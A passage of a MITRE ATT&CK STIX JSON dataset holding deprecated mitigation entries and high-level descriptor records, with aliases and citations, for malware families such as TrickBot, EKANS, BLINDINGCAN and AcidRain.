recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1112", "url": "https://attack.mitre.org/mitigations/T1112", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. 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(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--ef273807-c465-4728-9cee-5823422f42ee", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1198", "external_id": "T1198"}, {"source_name": "SpectorOps Subverting Trust Sept 2017", "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}], "modified": "2019-07-25T11:38:03.304Z", "name": "SIP and Trust Provider Hijacking Mitigation", "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. 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Retrieved November 18, 2014.", "source_name": "Beechey 2010"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", "source_name": "Corio 2008"}, {"url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", "source_name": "TechNet Applocker vs SRP"}], "modified": "2021-08-23T20:25:21.481Z", "name": "Taint Shared Content Mitigation", "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1053", "url": "https://attack.mitre.org/mitigations/T1053", "source_name": "mitre-attack"}, {"url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "source_name": "Powersploit"}, {"source_name": "TechNet Server Operator Scheduled Task", "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", "url": "https://technet.microsoft.com/library/jj852168.aspx"}, {"source_name": "TechNet Scheduling Priority", "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.", "url": "https://technet.microsoft.com/library/dn221960.aspx"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. 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Retrieved March 12, 2018.", "source_name": "Windows Blogs Microsoft Edge Sandbox"}, {"url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", "source_name": "Ars Technica Pwn2Own 2017 VM Escape"}, {"url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", "source_name": "TechNet Moving Beyond EMET"}, {"url": "https://en.wikipedia.org/wiki/Control-flow_integrity", "description": "Wikipedia. (2018, January 11). Control-flow integrity. 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(Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1094", "external_id": "T1094"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "modified": "2019-07-24T18:13:22.017Z", "name": "Custom Command and Control Protocol Mitigation", "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. 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(2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2021-08-23T20:25:18.593Z", "name": "Redundant Access Mitigation", "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. 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(Citation: University of Birmingham C2)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1031", "url": "https://attack.mitre.org/mitigations/T1031", "source_name": "mitre-attack"}, {"url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "source_name": "Powersploit"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}], "modified": "2020-01-17T16:45:23.126Z", "name": "Modify Existing Service Mitigation", "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "type": "course-of-action", "created": "2019-06-11T16:43:44.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1041", "url": "https://attack.mitre.org/mitigations/M1041"}], "modified": "2019-06-11T16:43:44.834Z", "name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1122", "url": "https://attack.mitre.org/mitigations/T1122", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T22:28:21.746Z", "name": "TrickBot", "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.2", "x_mitre_contributors": ["Daniyal Naeem, BT Security", "Cybereason Nocturnus, @nocturnus", "Omkar Gudhate", "FS-ISAC"], "x_mitre_aliases": ["TrickBot", "Totbrick", "TSPY_TRICKLOAD"], "type": "malware", "id": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0266", "external_id": "S0266"}, {"source_name": "TrickBot", "description": "(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)"}, {"source_name": "TSPY_TRICKLOAD", "description": "(Citation: Trend Micro Totbrick Oct 2016)"}, {"source_name": "Totbrick", "description": "(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)"}, {"source_name": "Trend Micro Totbrick Oct 2016", "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"}, {"source_name": "IBM TrickBot Nov 2016", "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.", "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/"}, {"source_name": "TrendMicro Trickbot Feb 2019", "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/"}, {"source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). 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Retrieved July 31, 2018.", "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["PowerDuke"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", "type": "malware", "created": "2017-05-31T21:33:19.746Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0139", "external_id": "S0139"}, {"source_name": "PowerDuke", "description": "(Citation: Volexity PowerDuke November 2016)"}, {"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}], "modified": "2020-03-30T17:22:08.256Z", "name": "PowerDuke", "description": "[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)", "x_mitre_version": "1.2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-08T22:04:48.834Z", "name": "EKANS", "description": "[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_version": "2.0", "x_mitre_aliases": ["EKANS", "SNAKEHOSE"], "type": "malware", "id": "malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5", "created": "2021-02-12T20:07:42.883Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0605", "external_id": "S0605"}, {"source_name": "EKANS", "description": "(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)(Citation: FireEye Ransomware Feb 2020)"}, {"source_name": "SNAKEHOSE", "description": "(Citation: FireEye Ransomware Feb 2020)"}, {"source_name": "Dragos EKANS", "description": "Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021.", "url": "https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/"}, {"source_name": "Palo Alto Unit 42 EKANS", "description": "Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021.", "url": "https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/"}, {"source_name": "FireEye Ransomware Feb 2020", "description": "Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:51:38.922Z", "name": "BLINDINGCAN", "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Daniyal Naeem, BT Security"], "x_mitre_aliases": ["BLINDINGCAN"], "type": "malware", "id": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", "created": "2020-10-27T18:45:58.576Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0520", "external_id": "S0520"}, {"source_name": "NHS UK BLINDINGCAN Aug 2020", "description": "NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020.", "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3603"}, {"source_name": "US-CERT BLINDINGCAN Aug 2020", "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-17T22:02:37.451Z", "name": "Ninja", "description": "[Ninja](https://attack.mitre.org/software/S1100) is a malware developed in C++ that has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) to penetrate networks and control remote systems since at least 2020.  [Ninja](https://attack.mitre.org/software/S1100) is possibly part of a post exploitation toolkit exclusively used by [ToddyCat](https://attack.mitre.org/groups/G1022) and allows multiple operators to work simultaneously on the same machine. [Ninja](https://attack.mitre.org/software/S1100) has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by [Samurai](https://attack.mitre.org/software/S1099).(Citation: Kaspersky ToddyCat June 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["Ninja"], "type": "malware", "id": "malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5", "created": "2024-01-11T18:40:51.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1100", "external_id": "S1100"}, {"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Wiarp"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--039814a0-88de-46c5-a4fb-b293db21880a", "type": "malware", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0206", "external_id": "S0206"}, {"source_name": "Wiarp", "description": "(Citation: Symantec Wiarp May 2012)"}, {"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}, {"source_name": "Symantec Wiarp May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"}], "modified": "2021-01-06T19:32:28.378Z", "name": "Wiarp", "description": "[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:21:49.455Z", "name": "RCSession", "description": "[RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["RCSession"], "type": "malware", "id": "malware--03acae53-9b98-46f6-b204-16b930839055", "created": "2021-11-19T19:47:26.552Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0662", "external_id": "S0662"}, {"source_name": "Secureworks BRONZE PRESIDENT December 2019", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos"}, {"source_name": "Trend Micro Iron Tiger April 2021", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}, {"source_name": "Trend Micro DRBControl February 2020", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. 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(2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. 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Analysis indicates overlap with another network device-targeting malware, VPNFilter, associated with [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: AcidRain JAGS 2022) US and European government sources linked [AcidRain](https://attack.mitre.org/software/S1125) to Russian government entities, while Ukrainian government sources linked [AcidRain](https://attack.mitre.org/software/S1125) specifically to [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: AcidRain State Department 2022)(Citation: Vincens AcidPour 2024)", "x_mitre_platforms": ["Network", "Linux"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["AcidRain"], "type": "malware", "id": "malware--04cecafd-cb5f-4daf-aa1f-73899116c4a2", "created": "2024-03-25T15:27:08.214Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1125", "external_id": "S1125"}, {"source_name": "Vincens AcidPour 2024", "description": "A.J. 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(2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}, {"source_name": "BlackBerry Amadey 2020", "description": "Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.", "url": "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["RDFSNIFFER"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", "type": "malware", "created": "2019-10-11T16:13:19.588Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0416", "source_name": "mitre-attack", "url": 